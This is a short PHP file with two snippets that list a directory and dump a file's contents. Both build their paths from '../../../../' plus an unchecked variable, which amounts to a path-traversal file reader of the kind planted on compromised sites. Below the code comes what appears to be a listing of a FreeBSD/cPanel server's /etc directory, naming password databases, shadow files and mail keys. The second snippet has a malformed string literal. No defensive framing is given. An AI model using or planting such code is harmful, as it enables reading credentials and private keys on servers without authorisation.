<?php 
if ($handle = opendir('../../../../'.$tmp)) {
    while (false !== ($file = readdir($handle))) { 
        if ($file != "." && $file != "..") { 
            echo $file; 
        } 
    }
    closedir($handle); 
}
?>

<?
  $file=file('../../../../'.$sh);  $strings="5000
for($i=0;$i<$strings;$i++)
  {
  $string.=$file[$i];
  }

echo "$string\n"; 
  ?>

bluetooth
mail
mtree
pam.d
periodic
gnats
isdn
rc.d
ntp
ssh
ssl
ppp
skel
defaults
group
hosts
hosts.allow
hosts.equiv
hosts.lpd
login.access
login.conf
mac.conf
motd
netconfig
network.subr
wwwacct.conf
relayhostsusers
networks
newsyslog.conf
pf.conf
pf.os
phones
profile
protocols
rc.firewall
rc.firewall6
rc.sendmail
rc.shutdown
rc.subr
remote
rpc
services
shells
sysctl.conf
syslog.conf
usbd.conf
ttys
manpath.config
mail.rc
locate.rc
login.conf.db
netstart
pccard_ether
spwd.db
rc.suspend
rc.resume
master.passwd
nsmb.conf
opieaccess
passwd
termcap
rmt
pwd.db
aliases
dumpdates
make.conf
resolv.conf
fstab
rc.conf.local
rc.firewall.local
nsswitch.conf
host.conf
opiekeys
wall_cmos_clock
localtime
login.conf.orig
sysctl.conf.orig
manpath.config.bak
amd.map
apmd.conf
auth.conf
crontab
csh.cshrc
csh.login
csh.logout
devd.conf
devfs.conf
dhclient.conf
disktab
fbtab
rc
ftpusers
gettytab
init.d
proftpd
rc.conf
localdomains
exim.conf.dist
periodic.conf.local
ports.ignore
inetd.conf
chkserv.d
secondarymx
ipaddrpool-
eximrejects
vmail
trueuserdomains
trueuserowners
demousers
demodomains
interchangedisable
userdomains
ips
make.conf,v
passwd,v
domainips
pure-ftpd
wwwacct.conf.shadow
localaliases
exim.conf.mailman2.dist
exim.conf.mailman2.exiscan.dist
antivirus.exim
exim.pl
exim.conf
exim.key
exim.crt
exim.pl.local
exim
exim.conf.buildtest
namedb
binddisable
newsyslog.conf.orig
relayhosts
syslog.conf.orig
X11
.whostmgrft
cpupdate.conf
name